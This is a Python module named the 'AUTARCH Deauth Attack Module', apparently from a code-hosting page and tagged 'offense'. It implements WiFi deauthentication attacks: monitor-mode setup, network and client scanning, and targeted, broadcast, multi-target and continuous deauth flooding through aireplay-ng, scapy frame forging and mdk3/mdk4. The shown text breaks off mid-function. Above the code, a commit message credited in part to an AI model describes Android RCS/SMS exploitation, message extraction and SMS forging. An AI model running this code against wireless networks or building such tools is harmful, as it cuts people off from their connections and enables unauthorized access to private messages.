Major RCS/SMS exploitation rewrite (v2.0): - bugle_db direct extraction (plaintext messages, no decryption needed) - CVE-2024-0044 run-as privilege escalation (Android 12-13) - AOSP RCS provider queries (content://rcs/) - Archon app relay for Shizuku-elevated bugle_db access - 7-tab web UI: Extract, Database, Forge, Modify, Exploit, Backup, Monitor - SQL query interface for extracted databases - Full backup/restore/clone with SMS Backup & Restore XML support - Known CVE database (CVE-2023-24033, CVE-2024-49415, CVE-2025-48593) - IMS/RCS diagnostics, Phenotype verbose logging, Pixel tools New modules: Starlink hack, SMS forge, SDR drone detection Archon Android app: RCS messaging module with Shizuku integration Updated manuals to v2.3, 60 web blueprints confirmed Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
1288 lines
49 KiB
Python
1288 lines
49 KiB
Python
"""AUTARCH Deauth Attack Module
|
|
|
|
Targeted and broadcast WiFi deauthentication, multi-target attacks,
|
|
continuous mode, channel hopping, and client discovery for wireless
|
|
assessments. Designed for Raspberry Pi and SBCs with monitor-mode adapters.
|
|
"""
|
|
|
|
DESCRIPTION = "WiFi deauthentication — targeted & broadcast attacks"
|
|
AUTHOR = "darkHal"
|
|
VERSION = "1.0"
|
|
CATEGORY = "offense"
|
|
|
|
import os
|
|
import re
|
|
import sys
|
|
import json
|
|
import time
|
|
import shutil
|
|
import signal
|
|
import struct
|
|
import threading
|
|
import subprocess
|
|
from pathlib import Path
|
|
from datetime import datetime
|
|
from typing import Dict, List, Optional, Any
|
|
|
|
try:
|
|
from core.paths import find_tool, get_data_dir
|
|
except ImportError:
|
|
def find_tool(name):
|
|
return shutil.which(name)
|
|
def get_data_dir():
|
|
return str(Path(__file__).parent.parent / 'data')
|
|
|
|
sys.path.insert(0, str(Path(__file__).parent.parent))
|
|
try:
|
|
from core.banner import Colors, clear_screen, display_banner
|
|
except ImportError:
|
|
class Colors:
|
|
RED = YELLOW = GREEN = CYAN = WHITE = DIM = RESET = BOLD = MAGENTA = ""
|
|
def clear_screen(): pass
|
|
def display_banner(): pass
|
|
|
|
|
|
# ── Singleton ────────────────────────────────────────────────────────────────
|
|
|
|
_instance = None
|
|
|
|
def get_deauth():
|
|
"""Return singleton DeauthAttack instance."""
|
|
global _instance
|
|
if _instance is None:
|
|
_instance = DeauthAttack()
|
|
return _instance
|
|
|
|
|
|
# ── Helpers ──────────────────────────────────────────────────────────────────
|
|
|
|
MAC_RE = re.compile(r'^([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}$')
|
|
BROADCAST = 'FF:FF:FF:FF:FF:FF'
|
|
|
|
|
|
def _validate_mac(mac: str) -> bool:
|
|
return bool(MAC_RE.match(mac))
|
|
|
|
|
|
def _run(cmd, timeout=30) -> tuple:
|
|
"""Run a command, return (success, stdout)."""
|
|
try:
|
|
result = subprocess.run(
|
|
cmd, shell=isinstance(cmd, str),
|
|
capture_output=True, text=True, timeout=timeout
|
|
)
|
|
return result.returncode == 0, result.stdout.strip()
|
|
except subprocess.TimeoutExpired:
|
|
return False, 'Command timed out'
|
|
except Exception as e:
|
|
return False, str(e)
|
|
|
|
|
|
def _run_bg(cmd) -> Optional[subprocess.Popen]:
|
|
"""Start a background process, return Popen or None."""
|
|
try:
|
|
proc = subprocess.Popen(
|
|
cmd, shell=isinstance(cmd, str),
|
|
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
|
|
text=True
|
|
)
|
|
return proc
|
|
except Exception:
|
|
return None
|
|
|
|
|
|
# ── DeauthAttack Class ───────────────────────────────────────────────────────
|
|
|
|
class DeauthAttack:
|
|
"""WiFi deauthentication attack toolkit."""
|
|
|
|
def __init__(self):
|
|
# Data directory
|
|
data_root = get_data_dir()
|
|
if isinstance(data_root, Path):
|
|
data_root = str(data_root)
|
|
self.data_dir = os.path.join(data_root, 'deauth')
|
|
os.makedirs(self.data_dir, exist_ok=True)
|
|
|
|
self.history_path = os.path.join(self.data_dir, 'history.json')
|
|
|
|
# Tool paths
|
|
self.aireplay = find_tool('aireplay-ng') or shutil.which('aireplay-ng')
|
|
self.airmon = find_tool('airmon-ng') or shutil.which('airmon-ng')
|
|
self.airodump = find_tool('airodump-ng') or shutil.which('airodump-ng')
|
|
self.mdk3 = find_tool('mdk3') or shutil.which('mdk3')
|
|
self.mdk4 = find_tool('mdk4') or shutil.which('mdk4')
|
|
self.iw = shutil.which('iw')
|
|
self.ip_cmd = shutil.which('ip')
|
|
self.iwconfig = shutil.which('iwconfig')
|
|
|
|
# Scapy availability
|
|
self._scapy = None
|
|
try:
|
|
from scapy.all import (
|
|
Dot11, Dot11Deauth, RadioTap, sendp, sniff, conf
|
|
)
|
|
self._scapy = True
|
|
except ImportError:
|
|
self._scapy = False
|
|
|
|
# Attack state
|
|
self._continuous_thread: Optional[threading.Thread] = None
|
|
self._continuous_running = False
|
|
self._continuous_target = {}
|
|
self._continuous_frames_sent = 0
|
|
self._continuous_start_time = 0.0
|
|
|
|
# Channel hopping state
|
|
self._hop_thread: Optional[threading.Thread] = None
|
|
self._hop_running = False
|
|
self._current_channel = 0
|
|
|
|
# Attack history
|
|
self._history: List[Dict] = []
|
|
self._load_history()
|
|
|
|
# ── Tool Status ──────────────────────────────────────────────────────
|
|
|
|
def get_tools_status(self) -> Dict[str, Any]:
|
|
"""Return availability of all tools used by this module."""
|
|
return {
|
|
'aireplay-ng': self.aireplay is not None,
|
|
'airmon-ng': self.airmon is not None,
|
|
'airodump-ng': self.airodump is not None,
|
|
'mdk3': self.mdk3 is not None,
|
|
'mdk4': self.mdk4 is not None,
|
|
'iw': self.iw is not None,
|
|
'ip': self.ip_cmd is not None,
|
|
'iwconfig': self.iwconfig is not None,
|
|
'scapy': self._scapy is True,
|
|
}
|
|
|
|
# ── Interface Management ─────────────────────────────────────────────
|
|
|
|
def get_interfaces(self) -> List[Dict]:
|
|
"""List wireless interfaces with mode info."""
|
|
interfaces = []
|
|
|
|
# Try iw dev first
|
|
if self.iw:
|
|
try:
|
|
out = subprocess.check_output(
|
|
[self.iw, 'dev'], text=True, timeout=5
|
|
)
|
|
iface = None
|
|
for line in out.splitlines():
|
|
line = line.strip()
|
|
if line.startswith('Interface'):
|
|
if iface:
|
|
interfaces.append(iface)
|
|
iface = {
|
|
'name': line.split()[-1],
|
|
'mode': 'managed',
|
|
'channel': 0,
|
|
'mac': '',
|
|
'phy': ''
|
|
}
|
|
elif iface:
|
|
if line.startswith('type'):
|
|
iface['mode'] = line.split()[-1]
|
|
elif line.startswith('channel'):
|
|
try:
|
|
iface['channel'] = int(line.split()[1])
|
|
except (ValueError, IndexError):
|
|
pass
|
|
elif line.startswith('addr'):
|
|
iface['mac'] = line.split()[-1]
|
|
if iface:
|
|
interfaces.append(iface)
|
|
except Exception:
|
|
pass
|
|
|
|
# Fallback to iwconfig
|
|
if not interfaces and self.iwconfig:
|
|
try:
|
|
out = subprocess.check_output(
|
|
[self.iwconfig], text=True,
|
|
stderr=subprocess.DEVNULL, timeout=5
|
|
)
|
|
for block in out.split('\n\n'):
|
|
if 'IEEE 802.11' in block or 'ESSID' in block:
|
|
name = block.split()[0]
|
|
mode = 'managed'
|
|
if 'Mode:Monitor' in block:
|
|
mode = 'monitor'
|
|
elif 'Mode:Master' in block:
|
|
mode = 'master'
|
|
ch_m = re.search(r'Channel[:\s]*(\d+)', block)
|
|
ch = int(ch_m.group(1)) if ch_m else 0
|
|
mac_m = re.search(
|
|
r'HWaddr\s+([\da-fA-F:]{17})', block
|
|
)
|
|
mac = mac_m.group(1) if mac_m else ''
|
|
interfaces.append({
|
|
'name': name, 'mode': mode,
|
|
'channel': ch, 'mac': mac, 'phy': ''
|
|
})
|
|
except Exception:
|
|
pass
|
|
|
|
# Last resort: /sys/class/net
|
|
if not interfaces:
|
|
try:
|
|
sys_net = Path('/sys/class/net')
|
|
if sys_net.exists():
|
|
for d in sys_net.iterdir():
|
|
if (d / 'wireless').exists() or (d / 'phy80211').exists():
|
|
interfaces.append({
|
|
'name': d.name, 'mode': 'unknown',
|
|
'channel': 0, 'mac': '', 'phy': ''
|
|
})
|
|
except Exception:
|
|
pass
|
|
|
|
return interfaces
|
|
|
|
def enable_monitor(self, interface: str) -> Dict:
|
|
"""Put interface into monitor mode.
|
|
|
|
Tries airmon-ng first, falls back to iw.
|
|
Returns dict with ok, interface (monitor name), and message.
|
|
"""
|
|
if not interface:
|
|
return {'ok': False, 'error': 'No interface specified'}
|
|
|
|
# Try airmon-ng
|
|
if self.airmon:
|
|
try:
|
|
# Kill interfering processes
|
|
subprocess.run(
|
|
[self.airmon, 'check', 'kill'],
|
|
capture_output=True, text=True, timeout=10
|
|
)
|
|
result = subprocess.run(
|
|
[self.airmon, 'start', interface],
|
|
capture_output=True, text=True, timeout=15
|
|
)
|
|
output = result.stdout + result.stderr
|
|
# Detect the monitor interface name
|
|
mon_match = re.search(
|
|
r'\(monitor mode (?:vif )?enabled(?: on| for) \[?(\w+)\]?\)',
|
|
output
|
|
)
|
|
if mon_match:
|
|
mon_iface = mon_match.group(1)
|
|
elif os.path.isdir(f'/sys/class/net/{interface}mon'):
|
|
mon_iface = f'{interface}mon'
|
|
else:
|
|
mon_iface = interface
|
|
|
|
return {
|
|
'ok': True,
|
|
'interface': mon_iface,
|
|
'message': f'Monitor mode enabled on {mon_iface}'
|
|
}
|
|
except Exception as e:
|
|
return {'ok': False, 'error': f'airmon-ng failed: {e}'}
|
|
|
|
# Fallback: iw
|
|
if self.iw and self.ip_cmd:
|
|
try:
|
|
subprocess.run(
|
|
[self.ip_cmd, 'link', 'set', interface, 'down'],
|
|
capture_output=True, timeout=5
|
|
)
|
|
result = subprocess.run(
|
|
[self.iw, 'dev', interface, 'set', 'type', 'monitor'],
|
|
capture_output=True, text=True, timeout=5
|
|
)
|
|
subprocess.run(
|
|
[self.ip_cmd, 'link', 'set', interface, 'up'],
|
|
capture_output=True, timeout=5
|
|
)
|
|
if result.returncode == 0:
|
|
return {
|
|
'ok': True,
|
|
'interface': interface,
|
|
'message': f'Monitor mode enabled on {interface} (via iw)'
|
|
}
|
|
return {'ok': False, 'error': result.stderr.strip() or 'iw set monitor failed'}
|
|
except Exception as e:
|
|
return {'ok': False, 'error': f'iw failed: {e}'}
|
|
|
|
return {'ok': False, 'error': 'No tool available (need airmon-ng or iw+ip)'}
|
|
|
|
def disable_monitor(self, interface: str) -> Dict:
|
|
"""Restore interface to managed mode."""
|
|
if not interface:
|
|
return {'ok': False, 'error': 'No interface specified'}
|
|
|
|
# Try airmon-ng
|
|
if self.airmon:
|
|
try:
|
|
result = subprocess.run(
|
|
[self.airmon, 'stop', interface],
|
|
capture_output=True, text=True, timeout=15
|
|
)
|
|
output = result.stdout + result.stderr
|
|
managed_match = re.search(
|
|
r'\(monitor mode disabled(?: on)? (\w+)\)', output
|
|
)
|
|
managed_name = managed_match.group(1) if managed_match else interface.replace('mon', '')
|
|
return {
|
|
'ok': True,
|
|
'interface': managed_name,
|
|
'message': f'Managed mode restored on {managed_name}'
|
|
}
|
|
except Exception as e:
|
|
return {'ok': False, 'error': f'airmon-ng stop failed: {e}'}
|
|
|
|
# Fallback: iw
|
|
if self.iw and self.ip_cmd:
|
|
try:
|
|
subprocess.run(
|
|
[self.ip_cmd, 'link', 'set', interface, 'down'],
|
|
capture_output=True, timeout=5
|
|
)
|
|
result = subprocess.run(
|
|
[self.iw, 'dev', interface, 'set', 'type', 'managed'],
|
|
capture_output=True, text=True, timeout=5
|
|
)
|
|
subprocess.run(
|
|
[self.ip_cmd, 'link', 'set', interface, 'up'],
|
|
capture_output=True, timeout=5
|
|
)
|
|
if result.returncode == 0:
|
|
return {
|
|
'ok': True,
|
|
'interface': interface,
|
|
'message': f'Managed mode restored on {interface}'
|
|
}
|
|
return {'ok': False, 'error': result.stderr.strip() or 'iw set managed failed'}
|
|
except Exception as e:
|
|
return {'ok': False, 'error': f'iw failed: {e}'}
|
|
|
|
return {'ok': False, 'error': 'No tool available'}
|
|
|
|
# ── Scanning ─────────────────────────────────────────────────────────
|
|
|
|
def scan_networks(self, interface: str, duration: int = 10) -> List[Dict]:
|
|
"""Passive scan for access points.
|
|
|
|
Uses airodump-ng CSV output or scapy sniffing.
|
|
Returns list of dicts: bssid, ssid, channel, encryption, signal, clients_count.
|
|
"""
|
|
if not interface:
|
|
return []
|
|
|
|
networks = []
|
|
|
|
# Method 1: airodump-ng
|
|
if self.airodump:
|
|
tmp_prefix = os.path.join(self.data_dir, f'scan_{int(time.time())}')
|
|
try:
|
|
proc = subprocess.Popen(
|
|
[self.airodump, '--write', tmp_prefix,
|
|
'--output-format', 'csv', '--write-interval', '1',
|
|
interface],
|
|
stdout=subprocess.DEVNULL,
|
|
stderr=subprocess.DEVNULL
|
|
)
|
|
time.sleep(min(duration, 120))
|
|
proc.terminate()
|
|
try:
|
|
proc.wait(timeout=5)
|
|
except subprocess.TimeoutExpired:
|
|
proc.kill()
|
|
|
|
# Parse CSV
|
|
csv_path = f'{tmp_prefix}-01.csv'
|
|
if os.path.isfile(csv_path):
|
|
networks = self._parse_airodump_csv(csv_path)
|
|
# Clean up temp files
|
|
for f in Path(self.data_dir).glob(
|
|
f'scan_{os.path.basename(tmp_prefix).replace("scan_", "")}*'
|
|
):
|
|
try:
|
|
f.unlink()
|
|
except Exception:
|
|
pass
|
|
except Exception:
|
|
pass
|
|
|
|
# Method 2: scapy fallback
|
|
if not networks and self._scapy:
|
|
networks = self._scan_scapy(interface, duration)
|
|
|
|
return networks
|
|
|
|
def _parse_airodump_csv(self, csv_path: str) -> List[Dict]:
|
|
"""Parse airodump-ng CSV output into network list."""
|
|
networks = []
|
|
clients_map: Dict[str, int] = {}
|
|
section = 'ap'
|
|
|
|
try:
|
|
with open(csv_path, 'r', errors='ignore') as f:
|
|
for line in f:
|
|
line = line.strip()
|
|
if not line:
|
|
continue
|
|
if line.startswith('Station MAC'):
|
|
section = 'client'
|
|
continue
|
|
if line.startswith('BSSID') or line.startswith('\x00'):
|
|
continue
|
|
|
|
parts = [p.strip() for p in line.split(',')]
|
|
|
|
if section == 'ap' and len(parts) >= 14:
|
|
bssid = parts[0]
|
|
if not _validate_mac(bssid):
|
|
continue
|
|
channel = 0
|
|
try:
|
|
channel = int(parts[3])
|
|
except (ValueError, IndexError):
|
|
pass
|
|
signal = -100
|
|
try:
|
|
signal = int(parts[8])
|
|
except (ValueError, IndexError):
|
|
pass
|
|
encryption = parts[5] if len(parts) > 5 else ''
|
|
ssid = parts[13] if len(parts) > 13 else ''
|
|
networks.append({
|
|
'bssid': bssid,
|
|
'ssid': ssid,
|
|
'channel': channel,
|
|
'encryption': encryption,
|
|
'signal': signal,
|
|
'clients_count': 0
|
|
})
|
|
|
|
elif section == 'client' and len(parts) >= 6:
|
|
client_mac = parts[0]
|
|
ap_bssid = parts[5] if len(parts) > 5 else ''
|
|
if _validate_mac(ap_bssid):
|
|
clients_map[ap_bssid] = clients_map.get(ap_bssid, 0) + 1
|
|
|
|
# Merge client counts
|
|
for net in networks:
|
|
net['clients_count'] = clients_map.get(net['bssid'], 0)
|
|
|
|
except Exception:
|
|
pass
|
|
|
|
return networks
|
|
|
|
def _scan_scapy(self, interface: str, duration: int) -> List[Dict]:
|
|
"""Scan using scapy beacon sniffing."""
|
|
networks = {}
|
|
try:
|
|
from scapy.all import Dot11, Dot11Beacon, Dot11Elt, sniff
|
|
|
|
def handler(pkt):
|
|
if pkt.haslayer(Dot11Beacon):
|
|
bssid = pkt[Dot11].addr2
|
|
if not bssid or bssid in networks:
|
|
return
|
|
ssid = ''
|
|
channel = 0
|
|
enc = 'OPEN'
|
|
elt = pkt[Dot11Elt]
|
|
while elt:
|
|
if elt.ID == 0: # SSID
|
|
try:
|
|
ssid = elt.info.decode('utf-8', errors='replace')
|
|
except Exception:
|
|
ssid = ''
|
|
elif elt.ID == 3: # DS Parameter Set (channel)
|
|
try:
|
|
channel = int(elt.info[0])
|
|
except Exception:
|
|
pass
|
|
elt = elt.payload.getlayer(Dot11Elt)
|
|
|
|
cap = pkt.sprintf('{Dot11Beacon:%Dot11Beacon.cap%}')
|
|
if 'privacy' in cap:
|
|
enc = 'WPA/WPA2'
|
|
|
|
try:
|
|
sig = -(256 - ord(pkt.notdecoded[-4:-3]))
|
|
except Exception:
|
|
sig = -100
|
|
|
|
networks[bssid] = {
|
|
'bssid': bssid,
|
|
'ssid': ssid,
|
|
'channel': channel,
|
|
'encryption': enc,
|
|
'signal': sig,
|
|
'clients_count': 0
|
|
}
|
|
|
|
sniff(iface=interface, prn=handler, timeout=duration, store=False)
|
|
except Exception:
|
|
pass
|
|
|
|
return list(networks.values())
|
|
|
|
def scan_clients(self, interface: str, target_bssid: Optional[str] = None,
|
|
duration: int = 10) -> List[Dict]:
|
|
"""Discover client-AP associations.
|
|
|
|
Returns list of dicts: client_mac, ap_bssid, ap_ssid, signal, packets.
|
|
"""
|
|
if not interface:
|
|
return []
|
|
|
|
clients = []
|
|
|
|
# Method 1: airodump-ng with optional BSSID filter
|
|
if self.airodump:
|
|
tmp_prefix = os.path.join(self.data_dir, f'clients_{int(time.time())}')
|
|
cmd = [
|
|
self.airodump, '--write', tmp_prefix,
|
|
'--output-format', 'csv', '--write-interval', '1'
|
|
]
|
|
if target_bssid and _validate_mac(target_bssid):
|
|
cmd += ['--bssid', target_bssid]
|
|
cmd.append(interface)
|
|
|
|
try:
|
|
proc = subprocess.Popen(
|
|
cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
|
|
)
|
|
time.sleep(min(duration, 120))
|
|
proc.terminate()
|
|
try:
|
|
proc.wait(timeout=5)
|
|
except subprocess.TimeoutExpired:
|
|
proc.kill()
|
|
|
|
csv_path = f'{tmp_prefix}-01.csv'
|
|
if os.path.isfile(csv_path):
|
|
clients = self._parse_clients_csv(csv_path, target_bssid)
|
|
for f in Path(self.data_dir).glob(
|
|
f'clients_{os.path.basename(tmp_prefix).replace("clients_", "")}*'
|
|
):
|
|
try:
|
|
f.unlink()
|
|
except Exception:
|
|
pass
|
|
except Exception:
|
|
pass
|
|
|
|
# Method 2: scapy fallback
|
|
if not clients and self._scapy:
|
|
clients = self._scan_clients_scapy(interface, target_bssid, duration)
|
|
|
|
return clients
|
|
|
|
def _parse_clients_csv(self, csv_path: str,
|
|
target_bssid: Optional[str] = None) -> List[Dict]:
|
|
"""Parse airodump CSV for client associations."""
|
|
clients = []
|
|
ap_names: Dict[str, str] = {}
|
|
section = 'ap'
|
|
|
|
try:
|
|
with open(csv_path, 'r', errors='ignore') as f:
|
|
for line in f:
|
|
line = line.strip()
|
|
if not line:
|
|
continue
|
|
if line.startswith('Station MAC'):
|
|
section = 'client'
|
|
continue
|
|
if line.startswith('BSSID'):
|
|
continue
|
|
|
|
parts = [p.strip() for p in line.split(',')]
|
|
|
|
if section == 'ap' and len(parts) >= 14:
|
|
bssid = parts[0]
|
|
ssid = parts[13] if len(parts) > 13 else ''
|
|
if _validate_mac(bssid):
|
|
ap_names[bssid] = ssid
|
|
|
|
elif section == 'client' and len(parts) >= 6:
|
|
client_mac = parts[0]
|
|
if not _validate_mac(client_mac):
|
|
continue
|
|
ap_bssid = parts[5] if len(parts) > 5 else ''
|
|
if not _validate_mac(ap_bssid):
|
|
continue
|
|
if target_bssid and ap_bssid.upper() != target_bssid.upper():
|
|
continue
|
|
|
|
signal = -100
|
|
try:
|
|
signal = int(parts[3])
|
|
except (ValueError, IndexError):
|
|
pass
|
|
packets = 0
|
|
try:
|
|
packets = int(parts[4])
|
|
except (ValueError, IndexError):
|
|
pass
|
|
|
|
clients.append({
|
|
'client_mac': client_mac,
|
|
'ap_bssid': ap_bssid,
|
|
'ap_ssid': ap_names.get(ap_bssid, ''),
|
|
'signal': signal,
|
|
'packets': packets
|
|
})
|
|
except Exception:
|
|
pass
|
|
|
|
return clients
|
|
|
|
def _scan_clients_scapy(self, interface: str,
|
|
target_bssid: Optional[str],
|
|
duration: int) -> List[Dict]:
|
|
"""Discover clients using scapy."""
|
|
seen: Dict[str, Dict] = {}
|
|
try:
|
|
from scapy.all import Dot11, sniff
|
|
|
|
def handler(pkt):
|
|
if not pkt.haslayer(Dot11):
|
|
return
|
|
d11 = pkt[Dot11]
|
|
# Data or management frames — addr1=dest, addr2=src, addr3=bssid
|
|
src = d11.addr2
|
|
dst = d11.addr1
|
|
bssid = d11.addr3
|
|
if not src or not bssid:
|
|
return
|
|
if src == bssid or src == BROADCAST.lower():
|
|
return
|
|
if target_bssid and bssid.upper() != target_bssid.upper():
|
|
return
|
|
key = f'{src}_{bssid}'
|
|
if key not in seen:
|
|
seen[key] = {
|
|
'client_mac': src,
|
|
'ap_bssid': bssid,
|
|
'ap_ssid': '',
|
|
'signal': -100,
|
|
'packets': 0
|
|
}
|
|
seen[key]['packets'] += 1
|
|
|
|
sniff(iface=interface, prn=handler, timeout=duration, store=False)
|
|
except Exception:
|
|
pass
|
|
|
|
return list(seen.values())
|
|
|
|
# ── Deauthentication Attacks ─────────────────────────────────────────
|
|
|
|
def deauth_targeted(self, interface: str, target_bssid: str,
|
|
client_mac: str, count: int = 10,
|
|
interval: float = 0.1) -> Dict:
|
|
"""Send deauth frames to a specific client on a specific AP.
|
|
|
|
Uses aireplay-ng or scapy Dot11Deauth as fallback.
|
|
Returns stats dict.
|
|
"""
|
|
if not _validate_mac(target_bssid):
|
|
return {'ok': False, 'error': 'Invalid target BSSID'}
|
|
if not _validate_mac(client_mac):
|
|
return {'ok': False, 'error': 'Invalid client MAC'}
|
|
count = max(1, min(count, 99999))
|
|
|
|
start_ts = time.time()
|
|
frames_sent = 0
|
|
|
|
# Method 1: aireplay-ng
|
|
if self.aireplay:
|
|
try:
|
|
result = subprocess.run(
|
|
[self.aireplay, '-0', str(count),
|
|
'-a', target_bssid, '-c', client_mac, interface],
|
|
capture_output=True, text=True,
|
|
timeout=max(30, count * interval * 2 + 10)
|
|
)
|
|
output = result.stdout + result.stderr
|
|
sent_match = re.search(r'(\d+)\s+(?:ACKs|packets)', output)
|
|
if sent_match:
|
|
frames_sent = int(sent_match.group(1))
|
|
else:
|
|
frames_sent = count
|
|
except subprocess.TimeoutExpired:
|
|
frames_sent = count
|
|
except Exception as e:
|
|
return {'ok': False, 'error': f'aireplay-ng failed: {e}'}
|
|
|
|
# Method 2: scapy
|
|
elif self._scapy:
|
|
frames_sent = self._deauth_scapy(
|
|
interface, target_bssid, client_mac, count, interval
|
|
)
|
|
|
|
# Method 3: mdk4 / mdk3
|
|
elif self.mdk4 or self.mdk3:
|
|
tool = self.mdk4 or self.mdk3
|
|
frames_sent = self._deauth_mdk(
|
|
tool, interface, target_bssid, client_mac, count
|
|
)
|
|
else:
|
|
return {'ok': False, 'error': 'No deauth tool available (need aireplay-ng, scapy, or mdk3/mdk4)'}
|
|
|
|
elapsed = round(time.time() - start_ts, 2)
|
|
record = {
|
|
'timestamp': datetime.now().isoformat(),
|
|
'target_bssid': target_bssid,
|
|
'client_mac': client_mac,
|
|
'mode': 'targeted',
|
|
'count': count,
|
|
'frames_sent': frames_sent,
|
|
'duration': elapsed,
|
|
'interface': interface
|
|
}
|
|
self._add_history(record)
|
|
|
|
return {
|
|
'ok': True,
|
|
'mode': 'targeted',
|
|
'target_bssid': target_bssid,
|
|
'client_mac': client_mac,
|
|
'frames_sent': frames_sent,
|
|
'duration': elapsed
|
|
}
|
|
|
|
def deauth_broadcast(self, interface: str, target_bssid: str,
|
|
count: int = 10, interval: float = 0.1) -> Dict:
|
|
"""Broadcast deauth to all clients on an AP."""
|
|
return self.deauth_targeted(
|
|
interface, target_bssid, BROADCAST, count, interval
|
|
)
|
|
|
|
def deauth_multi(self, interface: str, targets: List[Dict],
|
|
count: int = 10, interval: float = 0.1) -> Dict:
|
|
"""Deauth multiple AP/client pairs.
|
|
|
|
targets: list of {bssid, client_mac}
|
|
"""
|
|
if not targets:
|
|
return {'ok': False, 'error': 'No targets specified'}
|
|
|
|
results = []
|
|
total_frames = 0
|
|
|
|
for t in targets:
|
|
bssid = t.get('bssid', '')
|
|
client = t.get('client_mac', BROADCAST)
|
|
if not client:
|
|
client = BROADCAST
|
|
r = self.deauth_targeted(interface, bssid, client, count, interval)
|
|
results.append(r)
|
|
if r.get('ok'):
|
|
total_frames += r.get('frames_sent', 0)
|
|
|
|
return {
|
|
'ok': True,
|
|
'mode': 'multi',
|
|
'targets_count': len(targets),
|
|
'total_frames': total_frames,
|
|
'results': results
|
|
}
|
|
|
|
def _deauth_scapy(self, interface: str, bssid: str, client: str,
|
|
count: int, interval: float) -> int:
|
|
"""Send deauth using scapy."""
|
|
frames_sent = 0
|
|
try:
|
|
from scapy.all import Dot11, Dot11Deauth, RadioTap, sendp
|
|
|
|
# Deauth from AP to client
|
|
pkt_ap = (RadioTap() /
|
|
Dot11(addr1=client, addr2=bssid, addr3=bssid) /
|
|
Dot11Deauth(reason=7))
|
|
# Deauth from client to AP
|
|
pkt_cl = (RadioTap() /
|
|
Dot11(addr1=bssid, addr2=client, addr3=bssid) /
|
|
Dot11Deauth(reason=7))
|
|
|
|
for _ in range(count):
|
|
sendp(pkt_ap, iface=interface, count=1, verbose=False)
|
|
sendp(pkt_cl, iface=interface, count=1, verbose=False)
|
|
frames_sent += 2
|
|
if interval > 0:
|
|
time.sleep(interval)
|
|
|
|
except Exception:
|
|
pass
|
|
return frames_sent
|
|
|
|
def _deauth_mdk(self, tool: str, interface: str, bssid: str,
|
|
client: str, count: int) -> int:
|
|
"""Send deauth using mdk3/mdk4."""
|
|
# Create a target file for mdk
|
|
target_file = os.path.join(self.data_dir, 'mdk_targets.txt')
|
|
try:
|
|
with open(target_file, 'w') as f:
|
|
f.write(f'{bssid}\n')
|
|
|
|
result = subprocess.run(
|
|
[tool, interface, 'd', '-b', target_file, '-c', str(count)],
|
|
capture_output=True, text=True, timeout=max(30, count + 10)
|
|
)
|
|
return count # mdk does not reliably report frame count
|
|
except Exception:
|
|
return 0
|
|
finally:
|
|
try:
|
|
os.unlink(target_file)
|
|
except Exception:
|
|
pass
|
|
|
|
# ── Continuous Mode ──────────────────────────────────────────────────
|
|
|
|
def start_continuous(self, interface: str, target_bssid: str,
|
|
client_mac: Optional[str] = None,
|
|
interval: float = 0.5,
|
|
burst: int = 5) -> Dict:
|
|
"""Start continuous deauth in a background thread.
|
|
|
|
Sends `burst` deauth frames every `interval` seconds.
|
|
"""
|
|
if self._continuous_running:
|
|
return {'ok': False, 'error': 'Continuous attack already running'}
|
|
if not _validate_mac(target_bssid):
|
|
return {'ok': False, 'error': 'Invalid target BSSID'}
|
|
if client_mac and not _validate_mac(client_mac):
|
|
return {'ok': False, 'error': 'Invalid client MAC'}
|
|
|
|
client = client_mac or BROADCAST
|
|
interval = max(0.05, min(interval, 60.0))
|
|
burst = max(1, min(burst, 1000))
|
|
|
|
self._continuous_running = True
|
|
self._continuous_frames_sent = 0
|
|
self._continuous_start_time = time.time()
|
|
self._continuous_target = {
|
|
'interface': interface,
|
|
'target_bssid': target_bssid,
|
|
'client_mac': client,
|
|
'interval': interval,
|
|
'burst': burst
|
|
}
|
|
|
|
def _worker():
|
|
while self._continuous_running:
|
|
r = self.deauth_targeted(
|
|
interface, target_bssid, client, burst, 0
|
|
)
|
|
if r.get('ok'):
|
|
self._continuous_frames_sent += r.get('frames_sent', 0)
|
|
time.sleep(interval)
|
|
|
|
self._continuous_thread = threading.Thread(
|
|
target=_worker, daemon=True, name='deauth-continuous'
|
|
)
|
|
self._continuous_thread.start()
|
|
|
|
return {
|
|
'ok': True,
|
|
'message': f'Continuous deauth started against {target_bssid}',
|
|
'mode': 'broadcast' if client == BROADCAST else 'targeted'
|
|
}
|
|
|
|
def stop_continuous(self) -> Dict:
|
|
"""Stop continuous deauth attack."""
|
|
if not self._continuous_running:
|
|
return {'ok': False, 'error': 'No continuous attack running'}
|
|
|
|
self._continuous_running = False
|
|
if self._continuous_thread:
|
|
self._continuous_thread.join(timeout=5)
|
|
self._continuous_thread = None
|
|
|
|
elapsed = round(time.time() - self._continuous_start_time, 2)
|
|
frames = self._continuous_frames_sent
|
|
|
|
record = {
|
|
'timestamp': datetime.now().isoformat(),
|
|
'target_bssid': self._continuous_target.get('target_bssid', ''),
|
|
'client_mac': self._continuous_target.get('client_mac', ''),
|
|
'mode': 'continuous',
|
|
'count': frames,
|
|
'frames_sent': frames,
|
|
'duration': elapsed,
|
|
'interface': self._continuous_target.get('interface', '')
|
|
}
|
|
self._add_history(record)
|
|
|
|
return {
|
|
'ok': True,
|
|
'message': 'Continuous attack stopped',
|
|
'frames_sent': frames,
|
|
'duration': elapsed
|
|
}
|
|
|
|
def is_attacking(self) -> bool:
|
|
"""Check if continuous attack is running."""
|
|
return self._continuous_running
|
|
|
|
def get_attack_status(self) -> Dict:
|
|
"""Return current attack state."""
|
|
if not self._continuous_running:
|
|
return {
|
|
'running': False,
|
|
'target_bssid': '',
|
|
'client_mac': '',
|
|
'frames_sent': 0,
|
|
'duration': 0,
|
|
'mode': 'idle'
|
|
}
|
|
|
|
elapsed = round(time.time() - self._continuous_start_time, 2)
|
|
client = self._continuous_target.get('client_mac', BROADCAST)
|
|
mode = 'broadcast' if client == BROADCAST else 'targeted'
|
|
|
|
return {
|
|
'running': True,
|
|
'target_bssid': self._continuous_target.get('target_bssid', ''),
|
|
'client_mac': client,
|
|
'frames_sent': self._continuous_frames_sent,
|
|
'duration': elapsed,
|
|
'mode': mode,
|
|
'interval': self._continuous_target.get('interval', 0),
|
|
'burst': self._continuous_target.get('burst', 0)
|
|
}
|
|
|
|
# ── Channel Control ──────────────────────────────────────────────────
|
|
|
|
def set_channel(self, interface: str, channel: int) -> Dict:
|
|
"""Set interface to a specific wireless channel."""
|
|
channel = max(1, min(channel, 196))
|
